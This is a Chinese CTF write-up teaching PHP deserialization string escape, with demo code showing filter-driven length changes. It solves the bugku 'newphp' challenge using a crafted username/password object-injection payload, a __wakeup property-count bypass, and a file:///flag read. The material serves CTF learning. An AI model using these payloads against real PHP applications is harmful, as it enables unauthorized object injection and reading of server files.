最近在做ctf的题目的时候,遇到了PHP反序列化字符串逃逸的题目,针对反序列化的知识,我在之前有学习过,但是都是基础中的基础,这次遇到字符串逃逸的问题,虽然有大佬写出payload,但是不明白其中的原理,花两天的时间两学习了PHP反序列化字符串逃逸,写篇博客。

1.预备知识

1. 关于php面向对象编程的一些知识

对象(Object) 可以对其做事情的一些东西。一个对象有状态、行为和标识三种属性。

类(class) 一个共享相同结构和行为的对象的集合。

每个类的定义都以关键字 class 开头,后面跟着类名,后面跟着一对花括号,里面包含有类的属性与方法的定义。一个类可以包含有属于自己的常量,变量(称为“属性”)以及函数(称为“方法”)。

类(Class)定义了一件事物的抽象特点。通常来说,类定义了事物的属性和它可以做到的(它的行为)。举例来说,“狗”这个类会包含狗的一切基础特征,例如它的孕育、毛皮颜色和吠叫的能力。类可以为程序提供模版和结构。一个类的方法和属性被称为“成员”。

2. php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号“__”开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup 和其他的一些玩意。

这些函数在某些情况下会自动调用,比如:

__construct 当一个对象创建时调用 (constructor)

__destruct 当一个对象被销毁时调用 (destructor)

__ toString当一个对象被当作一个字符串使用

2.php对象概念以及php对象的一些简单特性

<?php
class TestClass
{
	//一个变量
	public $variable='this is a string';
	//一个简单方法
	public function printvariable()
	{
	echo $this->variable;
	}
	
}
//创建一个对象
$object = new TestClass();
//调用一个方法
$object->printvariable();
?>

3.序列化以及序列化的一些格式

<?php
//类
class user
{
	//类数据
	public $age=0;
	public $name='';
	//定义方法  输出数据
	public function printdata()
	{
		echo 'user'.$this->name.'is'.$this->age.'years old<br />';
	}
}
//创建一个对象
$usr=new user();
//设置数据
$usr->age=21;
$usr->name='zdl';
//输出数据
$usr->printdata();
//输出序列化后的数据
echo serialize($usr);
?>

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";} 就是对象user序列化之后的形式

O表示是对象,4 表示 对象名长度为4,user为对象名

2表示有两个参数,{} 里面是参数的key和value

S 表示是string对象,3 表示长度,age是key

i 表示是integer对象,21是value

我们再进行反序列化

<?php
//类
class user
{
	//类数据
	public $age=0;
	public $name='';
	//定义方法  输出数据
	public function printdata()
	{
		echo 'user'.$this->name.'is'.$this->age.'years old<br />';
	}
}
//重建对象
$usr=unserialize('O:4:"user":2:{s:3:"age";i:21;s:4:"name";s:3:"zdl";}');
//调用printdata输出数据
$usr->printdata();
?>

成功反序列化并输出了数据。

4.字符逃逸

字符逃逸就是一种闭合思想,类似于SQL注入中的万能密码。

<?php
 class people{
    public $name = 'Tom';
    public $sex = 'boy';
    public $age = '12';
 }
 $a = new people();
 print_r(serialize($a));
O:6:"people":3:{s:4:"name";s:3:"Tom";s:3:"sex";s:3:"boy";s:3:"age";s:2:"12";}

反序列化的过程就是碰到;}与最前面的{配对后,便停止反序列化。我们可以将上面的序列化的值稍作改变:

O:6:"people":3:{s:4:"name";s:3:"Tom";s:3:"sex";s:3:"boy";s:3:"age";s:2:"12";}123123

可以看到程序正常运行,因为已经闭合了,但是当字符串长度与所描述的长度不一样时,便会报错,比如上图中s:3:"Tom"变成s:4:"Tom"s:2:"Tom"便会报错,为的就是解决这种报错,所以在字符逃逸中分为两类:

1.字符变多

要记住的是:字符逃逸的题,一定是 先 serialize(),然后 过滤(变多or变少),然后 unserialize() 。从而实现逃逸

不管字符增多 or 字符减少,套路一样,就是我们构造的都是 反序列化之后的字符串,比如s:4:"name";s:8:"flag.php"。这样的,并且,我们在当参数输入进程序的时候,前面 和 后面 都要闭合,比如:";s:4:"name";s:8:"flag.php";}。

在题目中,往往对一些关键字会进行一些过滤,使用的手段通常替换关键字,使得一些关键字增多

下列代码中age100是固定的,我们通过代码,将age改为21

<?php
highlight_file(__file__);
function filter($str){
    return str_replace('l', 'll', $str);
}

class person{
	public $name = 'lonmar';
	public $age = '100';
}
$test = new person();
$test = serialize($test);
echo "</br>";
print_r($test);
echo "</br>";
$test = filter($test);
print_r($test);
print_r(unserialize($test));

因为替换过后,实际长度为7,而描述长度为6,少读了一个r 所以反序列化失败

$name='lonmar";s:3:"age";s:2:"35";}'因为有个过滤函数l->ll 所以,如果有一个l会把}给逃逸。 我们把;s:3:"age";s:2:"35";} 给逃逸掉,就能更改age的值, ;s:3:"age";s:2:"35";} 长度为21,我们需要21个l.

<?php
function filter($str){
    return str_replace('l', 'll', $str);
}

class person{
	public $name = 'llllllllllllllllllllllonmar";s:3:"age";s:2:"21";}';
	public $age = '100';
}
$test = new person();
$test = serialize($test);
var_dump($test);
echo "<br>";
$test = filter($test);
var_dump($test);
echo "<br>";
var_dump(unserialize($test));
?>

2.字符变少

这次把100变为123

<?php
highlight_file(__file__);
function filter($str){
    return str_replace('ll', 'l', $str);
}

class person{
	public $name = 'lonmar';
	public $age = '100';
}
$test=new person();
$test=serialize($test);
var_dump($test);
echo "<br>";
$test=filter($test);
var_dump($test);
echo "<br>";
var_dump(unserialize($test));
?>

同样的,如果构造恶意的age,让反序列化的时候多读,把age一部分读进去 同样可以达到某种目的

正常的数据 O:6:"person":2:{s:4:"name";s:6:"lonmar";s:3:"age";s:3:"xxx";}

如果做替换,让";s:3:"age";s:3:"被读进name,再把xxx替换为;s:3:“age”;s:3:“100”;}

令$age=123";s:3:"age";s:3:"100";}

O:6:"person":2:{s:4:"name";s:47:"llllllllllllllllllllllllllllllllllllllllllonmar";s:3:"age";s:26:"123";s:3:"age";s:3:"111";}";}

多读的为 ";s:3:"age";s:26:"123 长度 21

构造(l*42)nmar, 就多吞了部分字符串,

name:
llllllllllllllllllllllllllllllllllllllllllonmar =>
lllllllllllllllllllllonmar";s:3:"age";s:26:"123

age:

123";s:3:"age";s:3:"111";}
=>
111

<?php
highlight_file(__file__);
function filter($str){
    return str_replace('ll', 'l', $str);
}

class person{
	public $name = 'llllllllllllllllllllllllllllllllllllllllllonmar';
	public $age = '123";s:3:"age";s:3:"111";}';
}
$test=new person();
$test=serialize($test);
var_dump($test);
echo "<br>";
$test=filter($test);
var_dump($test);
echo "<br>";
var_dump(unserialize($test));
?>

5.例题

来自bugku newphp

<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);

class evil{
    public $hint;

    public function __construct($hint){
        $this->hint = $hint;
    }

    public function __destruct(){
    if($this->hint==="hint.php")
            @$this->hint = base64_encode(file_get_contents($this->hint)); 
        var_dump($this->hint);
    }

    function __wakeup() { 
        if ($this->hint != "╭(●`∀´●)╯") { 
            //There's a hint in ./hint.php
            $this->hint = "╰(●’◡’●)╮"; 
        } 
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    $tmp = $data;
}

function read(){
    global $tmp;
    $data = $tmp;
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];

$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
    die("NoNoNo!");

unserialize(read(write($a)));

我们首先来分析代码一下,首先evil类里面包含一个文件,我们肯定要让他读取这个文件,但是调用这个文件是调用这个的时候,__construct是在对象销毁的时候,evil首先调用的是wakeup, 使hint指向一个颜文字,我们可以利用wakeup函数漏洞,将属性个数从1改成2即可绕过 ,那我们user类没什么东西,再往下看write类与read类, 如果发现不可见字符*不可见字符,字符串就会增多,接着又将\0\0\0的6个字符变成3个字符不可见字符*不可见字符,我们自己是不会去写入不可见字符的在这道题中,相反可以故意写入\0\0\0使得字符串减少 。

我们把关键的代码写一下,我这用的是get方法,比较方便。

<?php

class User
{
public $username;
public $password;

public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}

}

function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
}

function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}

$tmp = "test";
$username = '123';
$password = '123';

$a = serialize(new User($username, $password));
echo "<br>";
echo (read(write($a)));
echo "<br>";
var_dump(unserialize(read(write($a))));

我们传入

$username = '123';
$password = '123';

看一看

首先我们evil类的payload是

O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

让password=O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

序列化出来

O:4:"User":2:{s:8:"username";s:3:"123";s:8:"password";s:41:"O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";}

其中 ";s:8:"password";s:41:" 就是我们要吞噬的代码,共23个字符, \0\0\0 过滤完生成三个字符***,我们需要24个,然后再随便补充一个字符,最终payload为

username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=q";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

因为火狐转码的原因 我们的payload为

username=\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0&password=1";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

对内容进行base64解码

<?php
 $hint = "index.cgi";
 // You can't see me~

发现个文件,进行访问。

发现 : "http://httpbin.org/get?name=Bob" } ,使用get传参,我尝试了很多方法直接传/flag,使用?name=file:///flag读flag,最后无奈查看payload要使用 ?name= file:///flag ,=后面有一个空格,我也不知道为啥?

参考文章:https://hetian.blog.csdn.net/article/details/109523841?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-3.nonecase&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-3.nonecase


如果你停止 就是低谷 如果你还在继续 就是上坡